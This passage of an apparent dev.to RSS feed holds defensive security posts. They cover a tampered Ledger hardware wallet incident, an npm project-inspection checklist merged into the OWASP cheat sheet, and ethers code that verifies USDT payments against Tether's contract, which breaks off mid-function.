&lt;p&gt;If you already funded one: stop interacting with it, ignore requests for more gas, save the video URL, contract address and transactions, move remaining assets to a fresh wallet if the same machine ran untrusted files, and report it.&lt;/p&gt;

&lt;p&gt;Full case file: &lt;a href="https://cryptostrapon.com/stories/fake-ai-trading-bot-tutorial-scam" rel="noopener noreferrer"&gt;Fake AI trading bot scam: you deploy the drainer&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Question for you:&lt;/strong&gt; when you deploy a contract from a tutorial or a template, do you ever check the deployed bytecode, or do you trust the IDE?&lt;/p&gt;

&lt;p&gt;If this was useful, a star on &lt;a href="https://github.com/cryptostrapon/npm-install-audit" rel="noopener noreferrer"&gt;npm-install-audit&lt;/a&gt;, our open source check for repos and code that attack developers, helps other people find it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Written with AI assistance and fact checked by the CryptoStrapon team.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>web3</category>
      <category>ai</category>
      <category>javascript</category>
    </item>
    <item>
      <title>The secure chip passed. The device was still compromised</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Fri, 20 Nov 2026 13:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/the-secure-chip-passed-the-device-was-still-compromised-ed</link>
      <guid>https://dev.to/cryptostrapon/the-secure-chip-passed-the-device-was-still-compromised-ed</guid>
      <description>&lt;p&gt;On 18 November, Ledger published an update on what it calls a hardware implant incident. Criminals tampered with genuine Ledger devices at the end of the distribution chain, before they reached buyers. Ledger has confirmed cases in Southeast Asia and Berlin and is investigating reports of two units in Dubai.&lt;/p&gt;

&lt;p&gt;Two details from that update matter for anyone who builds or runs crypto infrastructure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;every confirmed device has the same physical modification, built to capture the recovery phrase during setup&lt;/li&gt;
&lt;li&gt;Ledger reports no flaw in its secure chip or operating system, and no confirmed case involving a device bought on ledger.com&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the cryptography held. The device was still compromised.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the implant did
&lt;/h2&gt;

&lt;p&gt;According to researchers quoted by Bitcoin Magazine, opened units contained a small chip, an eSIM and a cellular module hidden inside the case. The implant read the 24-word phrase from the screen during setup and sent it out over a mobile network. The same report says the device's genuineness check cannot detect an added component while the original secure chip is intact.&lt;/p&gt;

&lt;p&gt;That is the key engineering point. An attestation check answers one question: does this secure element hold a key signed by the manufacturer? It says nothing about what else sits on the board between the chip and the screen.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trust boundary is wider than the chip
&lt;/h2&gt;

&lt;p&gt;We usually draw the hardware wallet threat model around the secure element. This incident shows the boundary also includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the board and everything wired to the display&lt;/li&gt;
&lt;li&gt;the distribution path from factory to buyer&lt;/li&gt;
&lt;li&gt;the setup moment, when the secret is shown on screen&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you work on software supply chains, the pattern is familiar. A valid signature on a package proves who published it, not that every step before you was clean. That is why we built &lt;a href="https://github.com/cryptostrapon/npm-install-audit" rel="noopener noreferrer"&gt;npm-install-audit&lt;/a&gt; to look at what a project will run before &lt;code&gt;npm install&lt;/code&gt;, instead of trusting that the repository is fine because it looks official. Hardware needs the same habit: verify the path, not only the badge.&lt;/p&gt;

&lt;h2&gt;
  
  
  What builders and teams can do
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Procurement is part of key management.&lt;/strong&gt; For a team treasury, record where each signing device was bought, when, and through which channel. Buy from the manufacturer's own store. Treat a marketplace or a third-party reseller as an untrusted path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Diversify signers.&lt;/strong&gt; A 2 of 3 multisig with devices from different manufacturers, bought through separate channels, means one tampered device cannot move funds alone. This is the control that still works when an attestation check passes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not migrate secrets off a doubted device.&lt;/strong&gt; Ledger's guidance is direct: do not reuse the current recovery phrase or passphrase, because a tampered device can capture both. Create a brand new phrase on a new device and move funds to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test before you trust.&lt;/strong&gt; After setting up a new signer, send a small amount, check the receiving address on the device screen, then move the rest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitor.&lt;/strong&gt; Watch your treasury addresses for outgoing transactions you did not initiate. An implant that phones home turns into a drain later, and early alerts shorten the window.&lt;/p&gt;

&lt;h2&gt;
  
  
  For people who are not engineers
&lt;/h2&gt;

&lt;p&gt;We turned this into a short open checklist in English and Spanish: where to buy, what to do with a device you doubt, how to move funds, and when multisig is worth it. Sources are linked and the text is CC BY 4.0, so feel free to reuse it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;English: &lt;a href="https://github.com/cryptostrapon/cryptostrapon-public/blob/main/checklists/hardware-wallet-setup.md" rel="noopener noreferrer"&gt;https://github.com/cryptostrapon/cryptostrapon-public/blob/main/checklists/hardware-wallet-setup.md&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Español: &lt;a href="https://github.com/cryptostrapon/cryptostrapon-public/blob/main/checklists/hardware-wallet-setup.es.md" rel="noopener noreferrer"&gt;https://github.com/cryptostrapon/cryptostrapon-public/blob/main/checklists/hardware-wallet-setup.es.md&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you bought a Ledger from a third party in Southeast Asia, in Berlin since January 2026, or in Dubai, Ledger asks you to contact Ledger Support. For a limited time it can arrange a physical inspection, including X-ray analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Ledger, &lt;a href="https://support.ledger.com/article/Update-on-the-Hardware-Implant-Incident-Investigation" rel="noopener noreferrer"&gt;Update on the Hardware Implant Incident Investigation&lt;/a&gt;, 18 November 2026&lt;/li&gt;
&lt;li&gt;Bitcoin Magazine, &lt;a href="https://bitcoinmagazine.com/news/ledger-tampered-wallets-berlin-dubai" rel="noopener noreferrer"&gt;Ledger Finds Tampered Hardware Wallets In Berlin, Probes Two In Dubai&lt;/a&gt;, 19 November 2026&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What does your team use to track where its signing devices came from?&lt;/p&gt;

</description>
      <category>security</category>
      <category>cryptocurrency</category>
      <category>hardware</category>
      <category>web3</category>
    </item>
    <item>
      <title>Getting a checklist into the OWASP Cheat Sheet: what three reviewers changed</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Thu, 19 Nov 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/getting-a-checklist-into-the-owasp-cheat-sheet-what-three-reviewers-changed-300h</link>
      <guid>https://dev.to/cryptostrapon/getting-a-checklist-into-the-owasp-cheat-sheet-what-three-reviewers-changed-300h</guid>
      <description>&lt;p&gt;A fake job interview often ends with a repo and a polite request: clone it and run &lt;code&gt;npm install&lt;/code&gt;. We wrote a short checklist for that moment, and this month it became a section of the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/NPM_Security_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP NPM Security Cheat Sheet&lt;/a&gt;, "Inspecting a project you did not write". A note on the same problem also went into the &lt;a href="https://github.com/security-alliance/frameworks/pull/680" rel="noopener noreferrer"&gt;Security Alliance (SEAL) Frameworks&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The more interesting part is how much better it got on the way. Here is what the reviewers changed and what we would do the same way next time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ask first, write second
&lt;/h2&gt;

&lt;p&gt;We did not open a pull request. We opened an &lt;a href="https://github.com/OWASP/CheatSheetSeries/issues/2903" rel="noopener noreferrer"&gt;issue&lt;/a&gt; that described the gap: the cheat sheet covered lifecycle scripts in packages you add yourself, but not a whole project someone hands you. The issue proposed a five-step checklist, linked the FBI IC3 warning about "pre-employment tests" and a Unit 42 report, and said two things up front: we maintain a small tool that automates these checks, and the text was drafted with help from an AI assistant.&lt;/p&gt;

&lt;p&gt;One of the three project leaders agreed it was a gap, assigned it to us and asked for one thing: keep it concise and vendor-neutral. So our tool is not in the cheat sheet. The checklist has to stand on its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Every sentence gets a source
&lt;/h2&gt;

&lt;p&gt;The pull request listed each source next to the sentence it supports: the IC3 notice, the Unit 42 report, npm docs for scripts and &lt;code&gt;.npmrc&lt;/code&gt;, the package.json docs for git, tarball and &lt;code&gt;file:&lt;/code&gt; dependencies, and the VS Code docs for Restricted Mode. OWASP asks for this in its PR template, and it made review fast, because nobody had to guess where a claim came from.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the reviewers changed
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;A community reviewer&lt;/strong&gt; checked the text against the checklist in the issue and found two gaps. The registry check covered &lt;code&gt;.npmrc&lt;/code&gt; but not Yarn, and the dependency check missed &lt;code&gt;link:&lt;/code&gt;. We added the &lt;code&gt;.yarnrc.yml&lt;/code&gt; settings (&lt;code&gt;npmRegistryServer&lt;/code&gt;, &lt;code&gt;npmAuthToken&lt;/code&gt;) and &lt;code&gt;link:&lt;/code&gt; paths. While doing it we found that &lt;code&gt;link:&lt;/code&gt; is a Yarn protocol, not an npm one, so the text says "in Yarn projects" and cites the Yarn docs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Another project leader&lt;/strong&gt; pushed on something more important. A checklist like this can give a false sense of security. The points, all now in the text:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--ignore-scripts&lt;/code&gt; only postpones scripts. &lt;code&gt;npm start&lt;/code&gt;, &lt;code&gt;npm test&lt;/code&gt; and the app itself still run code.&lt;/li&gt;
&lt;li&gt;Reading dependencies by hand only catches the visible cases. A typosquatted name or a tampered lockfile is much harder to spot.&lt;/li&gt;
&lt;li&gt;The real control is isolation: a disposable VM with no credentials or wallets, with no network or only logged network access, and ideally a remote VM rather than one on your own machine or LAN.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A docs linter also caught "lock file", which the project spells "lockfile".&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The third project leader&lt;/strong&gt; then pushed a follow-up before merging. The follow-up moved the VM step to the top, because it is the control and the rest only reduces what runs inside it. It also moved the install step to the end, added a note on Yarn's &lt;code&gt;yarnPath&lt;/code&gt;, and added a caveat that Yarn's &lt;code&gt;enableScripts&lt;/code&gt; still runs the project's own scripts.&lt;/p&gt;

&lt;p&gt;On the SEAL side, &lt;strong&gt;a maintainer&lt;/strong&gt; reviewed our bullet on package manager config files and added the same &lt;code&gt;yarnPath&lt;/code&gt; detail before merging.&lt;/p&gt;

&lt;h2&gt;
  
  
  The checklist, as merged
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Run it in a disposable VM, ideally a remote one, with no credentials, SSH keys or wallets, and no network or only restricted, logged access.&lt;/li&gt;
&lt;li&gt;Open the folder in VS Code Restricted Mode.&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;.npmrc&lt;/code&gt; and &lt;code&gt;.yarnrc.yml&lt;/code&gt; for registry settings, and &lt;code&gt;.yarnrc.yml&lt;/code&gt; for &lt;code&gt;yarnPath&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Check dependencies for git URLs, tarball URLs, &lt;code&gt;file:&lt;/code&gt; and &lt;code&gt;link:&lt;/code&gt; paths.&lt;/li&gt;
&lt;li&gt;Install last, with &lt;code&gt;npm install --ignore-scripts&lt;/code&gt;, and remember that it only postpones scripts.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The full section with sources is on the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/NPM_Security_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If a recruiter's message or link about a take-home task looks off, you can paste it into our free &lt;a href="https://cryptostrapon.com/scam-detector?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=owasp-post" rel="noopener noreferrer"&gt;crypto scam detector&lt;/a&gt; for a second opinion. It is AI-assisted, so treat the result as a hint, not a verdict.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we would repeat
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Open an issue and wait for a maintainer before writing the PR.&lt;/li&gt;
&lt;li&gt;Disclose your own tools and any AI help in the first message.&lt;/li&gt;
&lt;li&gt;Put a primary source next to every claim.&lt;/li&gt;
&lt;li&gt;Treat review as the point. Every change above made the text more honest.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Have you contributed to an OWASP cheat sheet or a similar guide? What did the review change for you?&lt;/p&gt;

</description>
      <category>security</category>
      <category>opensource</category>
      <category>npm</category>
      <category>webdev</category>
    </item>
    <item>
      <title>A screenshot is not a payment: verifying a USDT transfer on chain in code</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Thu, 12 Nov 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/a-screenshot-is-not-a-payment-verifying-a-usdt-transfer-on-chain-in-code-m0k</link>
      <guid>https://dev.to/cryptostrapon/a-screenshot-is-not-a-payment-verifying-a-usdt-transfer-on-chain-in-code-m0k</guid>
      <description>&lt;p&gt;"Flash USDT" is sold on Telegram as software that sends Tether which "expires after 90 days". The demo looks convincing: the buyer gives a wallet address, a balance appears, the wallet shows the USDT logo. Then comes the licence fee, the activation key, the "network energy", the server slot. The files often carry a wallet stealer as a bonus.&lt;/p&gt;

&lt;p&gt;The trick in the demo is simple. The balance is real, but it belongs to a token contract the seller deployed for a few dollars and named "Tether USD". Name and symbol are free text in any ERC-20. &lt;strong&gt;The only real identity of a token is its contract address.&lt;/strong&gt; USDT balances live in Tether's own contract, and no program on your laptop can write to it.&lt;/p&gt;

&lt;p&gt;Earlier in this series we looked at &lt;a href="https://dev.to/cryptostrapon/address-poisoning-the-scam-that-never-hacks-you-plus-a-15-line-check-for-your-own-app-7o5"&gt;address poisoning&lt;/a&gt;, where the attacker fakes the &lt;em&gt;recipient&lt;/em&gt;. This time the attacker fakes the &lt;em&gt;payment&lt;/em&gt;. If you build a shop, a P2P desk, an invoicing tool or a payout bot, this is the check your code should make before anything is released.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five checks a human should do
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Open the transaction yourself.&lt;/strong&gt; Take the TxID and paste it into the explorer. Never trust a link or a screenshot from the payer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Status must be confirmed.&lt;/strong&gt; Pending or failed means you have not been paid.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Token contract must be Tether's.&lt;/strong&gt; Compare it with the official address for that chain, character by character.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Recipient and amount must match.&lt;/strong&gt; Your own full address, the agreed amount. Payments to an "escrow" or third party do not count.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Your official USDT balance must have gone up.&lt;/strong&gt; On-chain balances do not expire, so any "it will appear in 24 hours" story is a red flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Official contracts:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Chain&lt;/th&gt;
&lt;th&gt;USDT contract&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ethereum&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xdAC17F958D2ee523a2206206994597C13D831ec7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tron&lt;/td&gt;
&lt;td&gt;&lt;code&gt;TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BNB Smart Chain&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x55d398326f99059fF775485246999027B3197955&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Polygon PoS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xc2132D05D31c914a87C6611C10748AEb04B58e8F&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Bookmark Tether's own list on &lt;a href="https://tether.to/en/transparency/" rel="noopener noreferrer"&gt;tether.to&lt;/a&gt; instead of copying addresses from chats or search results.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating it (Ethereum, ethers v6)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ethers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;"ethers"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;USDT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"0xdAC17F958D2ee523a2206206994597C13D831ec7"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Tether on Ethereum&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;iface&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Interface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="s2"&gt;"event Transfer(address indexed from, address indexed to, uint256 value)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;verifyUsdt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;txHash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;myAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expectedUsdt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;minConfirmations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;receipt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getTransactionReceipt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;txHash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;receipt&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;receipt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"not confirmed or failed"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;confirmations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getBlockNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;receipt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;blockNumber&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;confirmations&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;minConfirmations&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sb"&gt;`only ${confirmations} confirmations`&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;receipt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;logs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="no"&gt;USDT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// the line that matters&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;iface&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="s2"&gt;"Transfer"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="n"&gt;myAddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseUnits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expectedUsdt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// USDT uses 6 decimals&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt;
    &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ethers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;formatUnits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
